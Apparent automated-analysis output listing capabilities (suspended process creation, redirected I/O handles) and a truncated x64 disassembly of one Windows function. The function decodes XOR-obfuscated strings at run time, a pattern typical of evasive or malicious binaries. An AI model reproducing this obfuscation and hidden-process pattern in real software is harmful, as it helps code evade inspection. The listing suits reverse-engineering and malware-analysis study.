Function at 0x140070920
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended

Disassembly:
mov r11, rsp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x830
mov rax, qword [0x1400da190]
xor rax, rsp
mov qword [rsp + 0x820], rax
mov qword [r11 - 0x7d8], r9
mov qword [rsp + 0x130], r8
mov qword [r11 - 0x7a8], rdx
mov r13, rcx
mov qword [rsp + 0x4c8], rcx
mov qword [r11 - 0x500], rdx
mov qword [r11 - 0x4f8], r9
xor r12d, r12d
mov dword [r11 - 0x7e0], r12d
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1400ba2d0]
mov dword [rsp + 0x498], 0x4469d603
mov dword [rsp + 0x49c], 0x9d57c30d
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x5240
mov eax, dword [rcx + rsi]
mov ebx, 0x4ff8
add rbx, rsi
test al, 1
jne 0x140070a24
or eax, 1
mov dword [rcx + rsi], eax
mov byte [rbx + 0x19], 1
lea rax, [rbx + 0x18]
lea rcx, [r11 - 0x3c8]
cmp rbx, rcx
ja 0x140070a02
lea rcx, [r11 - 0x3e0]
cmp rax, rcx
jb 0x140070a02
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x498]
movsd qword [rbx + 0x10], xmm0
mov byte [rbx + 0x18], 0x75
jmp 0x140070a17
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x498]
movsd qword [rbx + 0x10], xmm0
mov byte [rbx + 0x18], 0x75
lea rcx, [0x1400b0310]
call fcn.140093de0
nop
cmp byte [rbx + 0x19], 0
je 0x140070a91
xor byte [rbx], 0x75
xor byte [rbx + 1], 0xb7
xor byte [rbx + 2], 0x49
xor byte [rbx + 3], 0x75
xor byte [rbx + 4], 0x3d
xor byte [rbx + 5], 0xed
xor byte [rbx + 6], 0x63
xor byte [rbx + 7], 0xad
xor byte [rbx + 8], 0x75
xor byte [rbx + 9], 0xb7
xor byte [rbx + 0xa], 0x49
xor byte [rbx + 0xb], 0x75
xor byte [rbx + 0xc], 0x3d
xor byte [rbx + 0xd], 0xed
xor byte [rbx + 0xe], 0x63
xor byte [rbx + 0xf], 0xad
xor byte [rbx + 0x10], 0x75
xor byte [rbx + 0x11], 0xb7
xor byte [rbx + 0x12], 0x49
xor byte [rbx + 0x13], 0x75
xor byte [rbx + 0x14], 0x3d
xor byte [rbx + 0x15], 0xed
xor byte [rbx + 0x16], 0x63
xor byte [rbx + 0x17], 0xad
xor byte [rbx + 0x18], 0x75
mov byte [rbx + 0x19], 0
mov rdx, rbx
mov rcx, rdi
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x4ba0
mov eax, dword [rcx + rsi]
mov edx, 0x5290
test al, 1
jne 0x140070ae6
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov word [rbx + 5], 0x1a9
mov dword [rbx], 0x1a6c0602
mov byte [rbx + 4], 0x29
lea rcx, [0x1400b02f0]
call fcn.140093de0
nop
jmp 0x140070aea
lea rbx, [rsi + rdx]
cmp byte [rbx + 6], 0
je 0x140070b0b
xor byte [rbx], 0x67
xor byte [rbx + 1], 0x6b
xor byte [rbx + 2], 0xd
xor byte [rbx + 3], 0x73
xor byte [rbx + 4], 0x45
xor byte [rbx + 5], 0xa9
mov byte [rbx + 6], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x140070b26
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.140009a30
nop
lea rdx, [rsp + 0x68]
mov rcx, r13
call fcn.140006f90
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x608], xmm0
movdqa xmm1, xmmword [0x1400b8b70]
movdqu xmmword [rsp + 0x618], xmm1
mov byte [rsp + 0x608], 0
mov dword [rsp + 0x88], 4
cmp byte [rax], 3
jne 0x140073e79
mov rdx, qword [rax + 8]
lea rax, [rsp + 0x608]
cmp rax, rdx
je 0x140070bb1
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140070ba3
mov rdx, qword [rdx]
lea rcx, [rsp + 0x608]
call fcn.140008340
nop
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x140070bf4
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140070bef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140070bef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
mov ecx, 0x4ba4
mov eax, dword [rcx + rsi]
mov edx, 0x4f10
test al, 1
jne 0x140070c31
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov dword [rbx + 6], 0x16383cd
mov dword [rbx], 0xd6384c13
mov word [rbx + 4], 0x42e2
lea rcx, [0x1400b02d0]
call fcn.140093de0
nop
jmp 0x140070c35
lea rbx, [rdx + rsi]
cmp byte [rbx + 9], 0
je 0x140070c62
xor byte [rbx], 0x63
xor byte [rbx + 1], 0x2d
xor byte [rbx + 2], 0x4b
xor byte [rbx + 3], 0xa5
xor byte [rbx + 4], 0x95
xor byte [rbx + 5], 0x2d
xor byte [rbx + 6], 0xbf
xor byte [rbx + 7], 0xe7
xor byte [rbx + 8], 0x63
mov byte [rbx + 9], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x140070c76
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.140009a30
nop
lea rdx, [rsp + 0x68]
mov rcx, r13
call fcn.140006f90
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x5e8], xmm0
movdqa xmm1, xmmword [0x1400b8b70]
movdqu xmmword [rsp + 0x5f8], xmm1
mov byte [rsp + 0x5e8], 0
mov dword [rsp + 0x88], 0x23
cmp byte [rax], 3
jne 0x140073eca
mov rdx, qword [rax + 8]
lea rax, [rsp + 0x5e8]
cmp rax, rdx
je 0x140070d01
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140070cf3
mov rdx, qword [rdx]
lea rcx, [rsp + 0x5e8]
call fcn.140008340
nop
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x140070d44
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140070d3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140070d3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
mov ecx, 0x4f28
mov eax, dword [rcx + rsi]
mov edx, 0x5138
test al, 1
jne 0x140070d85
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov word [rbx + 9], 0x12f
mov dword [rbx], 0xecec4ec2
mov dword [rbx + 4], 0x3d8c8d60
mov byte [rbx + 8], 0xcd
lea rcx, [0x1400b02b0]
call fcn.140093de0
nop
jmp 0x140070d89
lea rbx, [rdx + rsi]
cmp byte [rbx + 0xa], 0
je 0x140070dba
xor byte [rbx], 0xa5
xor byte [rbx + 1], 0x2f
xor byte [rbx + 2], 0x81
xor byte [rbx + 3], 0x89
xor byte [rbx + 4], 0x3f
xor byte [rbx + 5], 0xfd
xor byte [rbx + 6], 0xed
xor byte [rbx + 7], 0x49
xor byte [rbx + 8], 0xa5
xor byte [rbx + 9], 0x2f
mov byte [rbx + 0xa], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
mov r8, rdi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x140070dd0
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.140009a30
nop
lea rdx, [rsp + 0x68]
mov rcx, r13
call fcn.140006f90
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x3f8], xmm0
mov r15, r12
mov qword [rsp + 0x408], r12
mov qword [rsp + 0x410], 0xf
mov byte [rsp + 0x3f8], r15b
mov dword [rsp + 0x88], 0x11b
cmp byte [rax], 3
jne 0x140073f1b
mov rdx, qword [rax + 8]
lea rax, [rsp + 0x3f8]
cmp rax, rdx
je 0x140070e68
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140070e53
mov rdx, qword [rdx]
lea rcx, [rsp + 0x3f8]
call fcn.140008340
mov r15, qword [rsp + 0x408]
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x140070ea8
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140070ea3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140070f75
call fcn.140093d04
xorps xmm0, xmm0
movups xmmword [rsp + 0x398], xmm0
mov qword [rsp + 0x3a8], r12
mov qword [rsp + 0x3b0], r12
lea r14, [rsp + 0x3f8]
cmp qword [rsp + 0x410], 0x10
cmovae r14, qword [rsp + 0x3f8]
movabs rbx, 0x7fffffffffffffff
cmp r15, rbx
ja 0x140073f6c
mov qword [rsp + 0x3b0], 0xf
cmp r15, 0x10
jae 0x140070f1b
mov qword [rsp + 0x3a8], r15
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x398], xmm0
jmp 0x140070fb3
mov rax, r15
or rax, 0xf
cmp rax, rbx
ja 0x140070f36
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
mov rcx, rbx
add rcx, 1
cmovb rcx, rdi
cmp rcx, 0x1000
jb 0x140070f7c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140073f72
mov rcx, rax
call fcn.1400939a0
mov rcx, rax
test rax, rax
je 0x140070f75
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140070f8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140070f88
call fcn.1400939a0
jmp 0x140070f8b
mov rax, r12
mov qword [rsp + 0x398], rax
mov qword [rsp + 0x3a8], r15
mov qword [rsp + 0x3b0], rbx
lea r8, [r15 + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
call fcn.140074140
mov rcx, rax
call fcn.140074530
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140070fc3
mov rdx, rcx
lea rcx, [rsp + 0x398]
call fcn.1400084a0
movdqa xmm0, xmmword [0x1400b9880]
mov word [rsp + 0x590], 0xbea7
mov ecx, 0x4c28
mov eax, dword [rcx + rsi]
mov edx, 0x4f78
test al, 1
jne 0x140071063
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov byte [rbx + 0x13], 1
lea rax, [rbx + 0x12]
lea rcx, [rsp + 0x592]
cmp rbx, rcx
ja 0x140071041
lea rcx, [rsp + 0x580]
cmp rax, rcx
jb 0x140071041
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x590]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x59
jmp 0x140071054
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x590]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x59
lea rcx, [0x1400b0250]
call fcn.140093de0
nop
jmp 0x140071067
lea rbx, [rdx + rsi]
cmp byte [rbx + 0x13], 0
je 0x1400710bc
xor byte [rbx], 0xd3
xor byte [rbx + 1], 0xdb
xor byte [rbx + 2], 0x59
xor byte [rbx + 3], 0xeb
xor byte [rbx + 4], 0xeb
xor byte [rbx + 5], 0xf7
xor byte [rbx + 6], 0x69
xor byte [rbx + 7], 7
xor byte [rbx + 8], 0xd3
xor byte [rbx + 9], 0xdb
xor byte [rbx + 0xa], 0x59
xor byte [rbx + 0xb], 0xeb
xor byte [rbx + 0xc], 0xeb
xor byte [rbx + 0xd], 0xf7
xor byte [rbx + 0xe], 0x69
xor byte [rbx + 0xf], 7
xor byte [rbx + 0x10], 0xd3
xor byte [rbx + 0x11], 0xdb
xor byte [rbx + 0x12], 0x59
mov byte [rbx + 0x13], 0
mov r8, rdi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x1400710c0
mov rdx, rbx
lea rcx, [rsp + 0x398]
call fcn.1400084a0
mov ecx, 0x4e14
mov eax, dword [rcx + rsi]
mov edx, 0x52c8
test al, 1
jne 0x14007111f
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov dword [rbx + 0xc], 0x165a5a0
mov dword [rbx], 0xd9981825
mov dword [rbx + 4], 0xef00a2a6
mov dword [rbx + 8], 0xdbad0873
lea rcx, [0x1400b0220]
call fcn.140093de0
nop
jmp 0x140071123
lea rbx, [rdx + rsi]
cmp byte [rbx + 0xf], 0
je 0x140071168
xor byte [rbx], 5
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0xfd
xor byte [rbx + 3], 0xa9
xor byte [rbx + 4], 0xcf
xor byte [rbx + 5], 0xc1
xor byte [rbx + 6], 0x65
xor byte [rbx + 7], 0x81
xor byte [rbx + 8], 5
xor byte [rbx + 9], 0x35
xor byte [rbx + 0xa], 0xfd
xor byte [rbx + 0xb], 0xa9
xor byte [rbx + 0xc], 0xcf
xor byte [rbx + 0xd], 0xc1
xor byte [rbx + 0xe], 0x65
mov byte [rbx + 0xf], 0
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140071170
mov rdx, rbx
lea rcx, [rsp + 0x398]
call fcn.1400084a0
mov ecx, 0x4bcc
mov eax, dword [rcx + rsi]
mov edx, 0x5180
test al, 1
jne 0x1400711ce
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov dword [rbx + 0xa], 0x1d1d39a
mov dword [rbx], 0xcf9e3a95
mov dword [rbx + 4], 0x4af98b8
mov word [rbx + 8], 0x63c7
lea rcx, [0x1400b0200]
call fcn.140093de0
nop
jmp 0x1400711d2
lea rbx, [rdx + rsi]
cmp byte [rbx + 0xd], 0
je 0x14007120f
xor byte [rbx], 0xb5
xor byte [rbx + 1], 0x17
xor byte [rbx + 2], 0xfb
xor byte [rbx + 3], 0xbf
xor byte [rbx + 4], 0xd1
xor byte [rbx + 5], 0xfb
xor byte [rbx + 6], 0xdf
xor byte [rbx + 7], 0x6b
xor byte [rbx + 8], 0xb5
xor byte [rbx + 9], 0x17
xor byte [rbx + 0xa], 0xfb
xor byte [rbx + 0xb], 0xbf
xor byte [rbx + 0xc], 0xd1
mov byte [rbx + 0xd], 0
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x140071212
mov rdx, rbx
lea rcx, [rsp + 0x398]
call fcn.1400084a0
movdqa xmm0, xmmword [0x1400ba270]
mov dword [rsp + 0x4b8], 0x7686b592
mov dword [rsp + 0x4bc], 0xb6e1ba24
mov ecx, 0x5314
mov eax, dword [rcx + rsi]
mov edx, 0x5088
test al, 1
jne 0x1400712c2
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov byte [rbx + 0x19], 1
lea rax, [rbx + 0x18]
lea rcx, [rsp + 0x4c0]
cmp rbx, rcx
ja 0x14007129e
lea rcx, [rsp + 0x4a8]
cmp rax, rcx
jb 0x14007129e
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x4b8]
movsd qword [rbx + 0x10], xmm0
mov byte [rbx + 0x18], 0xf3
jmp 0x1400712b3
movups xmmword [rbx], xmm0
movsd xmm0, qword [rsp + 0x4b8]
movsd qword [rbx + 0x10], xmm0
mov byte [rbx + 0x18], 0xf3
lea rcx, [0x1400b01d0]
call fcn.140093de0
nop
jmp 0x1400712c6
lea rbx, [rdx + rsi]
cmp byte [rbx + 0x19], 0
je 0x140071333
xor byte [rbx], 0xf3
xor byte [rbx + 1], 0xdb
xor byte [rbx + 2], 0xe1
xor byte [rbx + 3], 0x13
xor byte [rbx + 4], 0x47
xor byte [rbx + 5], 0xd5
xor byte [rbx + 6], 0x85
xor byte [rbx + 7], 0xd3
xor byte [rbx + 8], 0xf3
xor byte [rbx + 9], 0xdb
xor byte [rbx + 0xa], 0xe1
xor byte [rbx + 0xb], 0x13
xor byte [rbx + 0xc], 0x47
xor byte [rbx + 0xd], 0xd5
xor byte [rbx + 0xe], 0x85
xor byte [rbx + 0xf], 0xd3
xor byte [rbx + 0x10], 0xf3
xor byte [rbx + 0x11], 0xdb
xor byte [rbx + 0x12], 0xe1
xor byte [rbx + 0x13], 0x13
xor byte [rbx + 0x14], 0x47
xor byte [rbx + 0x15], 0xd5
xor byte [rbx + 0x16], 0x85
xor byte [rbx + 0x17], 0xd3
xor byte [rbx + 0x18], 0xf3
mov byte [rbx + 0x19], 0
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x140071336
mov rdx, rbx
lea rcx, [rsp + 0x398]
call fcn.1400084a0
movdqa xmm0, xmmword [0x1400b9ae0]
mov word [rsp + 0x548], 0x6fba
mov ecx, 0x5260
mov eax, dword [rcx + rsi]
mov edx, 0x4c68
test al, 1
jne 0x1400713ce
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov byte [rbx + 0x12], 1
lea rax, [rbx + 0x11]
lea rcx, [rsp + 0x549]
cmp rbx, rcx
ja 0x1400713b0
lea rcx, [rsp + 0x538]
cmp rax, rcx
jb 0x1400713b0
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x548]
mov word [rbx + 0x10], ax
jmp 0x1400713bf
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x548]
mov word [rbx + 0x10], ax
lea rcx, [0x1400b01b0]
call fcn.140093de0
nop
jmp 0x1400713d2
lea rbx, [rdx + rsi]
cmp byte [rbx + 0x12], 0
je 0x140071423
xor byte [rbx], 0xdf
xor byte [rbx + 1], 0x6f
xor byte [rbx + 2], 0x29
xor byte [rbx + 3], 0x85
xor byte [rbx + 4], 0x79
xor byte [rbx + 5], 0x41
xor byte [rbx + 6], 0xe1
xor byte [rbx + 7], 0xeb
xor byte [rbx + 8], 0xdf
xor byte [rbx + 9], 0x6f
xor byte [rbx + 0xa], 0x29
xor byte [rbx + 0xb], 0x85
xor byte [rbx + 0xc], 0x79
xor byte [rbx + 0xd], 0x41
xor byte [rbx + 0xe], 0xe1
xor byte [rbx + 0xf], 0xeb
xor byte [rbx + 0x10], 0xdf
xor byte [rbx + 0x11], 0x6f
mov byte [rbx + 0x12], 0
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x140071426
mov rdx, rbx
lea rcx, [rsp + 0x398]
call fcn.1400084a0
movdqa xmm0, xmmword [0x1400b94a0]
mov ecx, 0x511c
mov eax, dword [rcx + rsi]
mov edx, 0x52e8
test al, 1
jne 0x1400714a4
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov byte [rbx + 0x11], 1
lea rax, [rbx + 0x10]
lea rcx, [rsp + 0x718]
cmp rbx, rcx
ja 0x14007148e
lea rcx, [rsp + 0x708]
cmp rax, rcx
jb 0x14007148e
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x2d
jmp 0x140071495
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x2d
lea rcx, [0x1400b0190]
call fcn.140093de0
nop
jmp 0x1400714a8
lea rbx, [rsi + rdx]
cmp byte [rbx + 0x11], 0
je 0x1400714f5
xor byte [rbx], 0x2d
xor byte [rbx + 1], 7
xor byte [rbx + 2], 0x25
xor byte [rbx + 3], 0x13
xor byte [rbx + 4], 0x85
xor byte [rbx + 5], 1
xor byte [rbx + 6], 0x5d
xor byte [rbx + 7], 0x6f
xor byte [rbx + 8], 0x2d
xor byte [rbx + 9], 7
xor byte [rbx + 0xa], 0x25
xor byte [rbx + 0xb], 0x13
xor byte [rbx + 0xc], 0x85
xor byte [rbx + 0xd], 1
xor byte [rbx + 0xe], 0x5d
xor byte [rbx + 0xf], 0x6f
xor byte [rbx + 0x10], 0x2d
mov byte [rbx + 0x11], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xb0], xmm1
mov r8, rdi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x140071510
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.140009a30
nop
mov r8, qword [rsp + 0x90]
lea rcx, [r8 + 0x10]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rcx
mov rdx, r8
lea rax, [r8 + 0x18]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x98], rax
cmp qword [rax], 0x10
jb 0x140071561
mov rdx, qword [r8]
mov r8, qword [rcx]
lea rcx, [rsp + 0xa0]
call fcn.1400084a0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xc8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xd8], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0xc8]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x398]
call fcn.1400084a0
nop
mov rdx, qword [rsp + 0xe0]
cmp rdx, 0x10
jb 0x140071614
inc rdx
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007160e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007160e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x14007165a
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071655
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140071655
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
movdqa xmm0, xmmword [0x1400b99c0]
mov word [rsp + 0x578], 0x461e
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov ecx, 0x4dd8
mov eax, dword [rcx + rsi]
mov ebx, 0x4df8
add rbx, rsi
test al, 1
jne 0x1400716e9
or eax, 1
mov dword [rcx + rsi], eax
mov byte [rbx + 0x13], 1
lea rax, [rbx + 0x12]
lea rcx, [rsp + 0x57a]
cmp rbx, rcx
ja 0x1400716c9
lea rcx, [rsp + 0x568]
cmp rax, rcx
jb 0x1400716c9
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x578]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x31
jmp 0x1400716dc
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x578]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x31
lea rcx, [0x1400b0160]
call fcn.140093de0
nop
cmp byte [rbx + 0x13], 0
je 0x14007173e
xor byte [rbx], 0x6b
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0x31
xor byte [rbx + 3], 0xd5
xor byte [rbx + 4], 0x5d
xor byte [rbx + 5], 0x89
xor byte [rbx + 6], 0xe9
xor byte [rbx + 7], 0x5b
xor byte [rbx + 8], 0x6b
xor byte [rbx + 9], 0x35
xor byte [rbx + 0xa], 0x31
xor byte [rbx + 0xb], 0xd5
xor byte [rbx + 0xc], 0x5d
xor byte [rbx + 0xd], 0x89
xor byte [rbx + 0xe], 0xe9
xor byte [rbx + 0xf], 0x5b
xor byte [rbx + 0x10], 0x6b
xor byte [rbx + 0x11], 0x35
xor byte [rbx + 0x12], 0x31
mov byte [rbx + 0x13], 0
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x140071741
mov rdx, rbx
lea rcx, [rsp + 0x398]
call fcn.1400084a0
movdqa xmm0, xmmword [0x1400b8f90]
movdqa xmm1, xmmword [0x1400b9280]
mov word [rsp + 0x670], 0x9aaa
mov ecx, 0x4f0c
mov eax, dword [rcx + rsi]
mov edx, 0x5198
test al, 1
jne 0x1400717f1
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov byte [rbx + 0x23], 1
lea rax, [rbx + 0x22]
lea rcx, [rsp + 0x672]
cmp rbx, rcx
ja 0x1400717cb
lea rcx, [rsp + 0x650]
cmp rax, rcx
jb 0x1400717cb
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [rsp + 0x670]
mov word [rbx + 0x20], ax
mov byte [rbx + 0x22], 0x55
jmp 0x1400717e2
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [rsp + 0x670]
mov word [rbx + 0x20], ax
mov byte [rbx + 0x22], 0x55
lea rcx, [0x1400b0130]
call fcn.140093de0
nop
jmp 0x1400717f5
lea rbx, [rdx + rsi]
cmp byte [rbx + 0x23], 0
je 0x14007188e
xor byte [rbx], 0x9b
xor byte [rbx + 1], 0xf9
xor byte [rbx + 2], 0x55
xor byte [rbx + 3], 0xb5
xor byte [rbx + 4], 0x17
xor byte [rbx + 5], 7
xor byte [rbx + 6], 0x41
xor byte [rbx + 7], 0x7d
xor byte [rbx + 8], 0x9b
xor byte [rbx + 9], 0xf9
xor byte [rbx + 0xa], 0x55
xor byte [rbx + 0xb], 0xb5
xor byte [rbx + 0xc], 0x17
xor byte [rbx + 0xd], 7
xor byte [rbx + 0xe], 0x41
xor byte [rbx + 0xf], 0x7d
xor byte [rbx + 0x10], 0x9b
xor byte [rbx + 0x11], 0xf9
xor byte [rbx + 0x12], 0x55
xor byte [rbx + 0x13], 0xb5
xor byte [rbx + 0x14], 0x17
xor byte [rbx + 0x15], 7
xor byte [rbx + 0x16], 0x41
xor byte [rbx + 0x17], 0x7d
xor byte [rbx + 0x18], 0x9b
xor byte [rbx + 0x19], 0xf9
xor byte [rbx + 0x1a], 0x55
xor byte [rbx + 0x1b], 0xb5
xor byte [rbx + 0x1c], 0x17
xor byte [rbx + 0x1d], 7
xor byte [rbx + 0x1e], 0x41
xor byte [rbx + 0x1f], 0x7d
xor byte [rbx + 0x20], 0x9b
xor byte [rbx + 0x21], 0xf9
xor byte [rbx + 0x22], 0x55
mov byte [rbx + 0x23], 0
mov r8, rdi
inc r8
cmp byte [rbx + r8], 0
jne 0x140071891
mov rdx, rbx
lea rcx, [rsp + 0x398]
call fcn.1400084a0
mov ecx, 0x4f68
mov eax, dword [rcx + rsi]
mov edx, 0x52b8
test al, 1
jne 0x1400718f3
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rdx + rsi]
mov word [rbx + 0xd], 0x1e5
mov dword [rbx], 0x3ff7feb1
mov dword [rbx + 4], 0x655b8812
mov dword [rbx + 8], 0x23febdac
mov byte [rbx + 0xc], 0x18
lea rcx, [0x1400b0110]
call fcn.140093de0
nop
jmp 0x1400718f7
lea rbx, [rdx + rsi]
cmp byte [rbx + 0xe], 0
je 0x140071938
xor byte [rbx], 0x91
xor byte [rbx + 1], 0xd3
xor byte [rbx + 2], 0x91
xor byte [rbx + 3], 0x4d
xor byte [rbx + 4], 0x7d
xor byte [rbx + 5], 0xe5
xor byte [rbx + 6], 0x3d
xor byte [rbx + 7], 9
xor byte [rbx + 8], 0x91
xor byte [rbx + 9], 0xd3
xor byte [rbx + 0xa], 0x91
xor byte [rbx + 0xb], 0x4d
xor byte [rbx + 0xc], 0x7d
xor byte [rbx + 0xd], 0xe5
mov byte [rbx + 0xe], 0
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140071940
mov rdx, rbx
lea rcx, [rsp + 0x398]
call fcn.1400084a0
mov ecx, 0x4e10
mov eax, dword [rcx + rsi]
mov edx, 0x5318
test al, 1
jne 0x14007199a
or eax, 1
mov dword [rcx + rsi], eax
lea rbx, [rsi + rdx]
mov word [rbx + 7], 0x173
mov dword [rbx], 0x4a2bfad1
mov word [rbx + 4], 0x8432
mov byte [rbx + 6], 0xa6
lea rcx, [0x1400b00f0]
call fcn.140093de0
nop
jmp 0x14007199e
lea rbx, [rdx + rsi]
cmp byte [rbx + 8], 0
je 0x1400719c7
xor byte [rbx], 0xf1
xor byte [rbx + 1], 0xd7
xor byte [rbx + 2], 0x45
xor byte [rbx + 3], 0x25
xor byte [rbx + 4], 0x57
xor byte [rbx + 5], 0xe5
xor byte [rbx + 6], 0xc5
xor byte [rbx + 7], 0x73
mov byte [rbx + 8], 0
mov r8, rdi
nop word [rax + rax]
inc r8
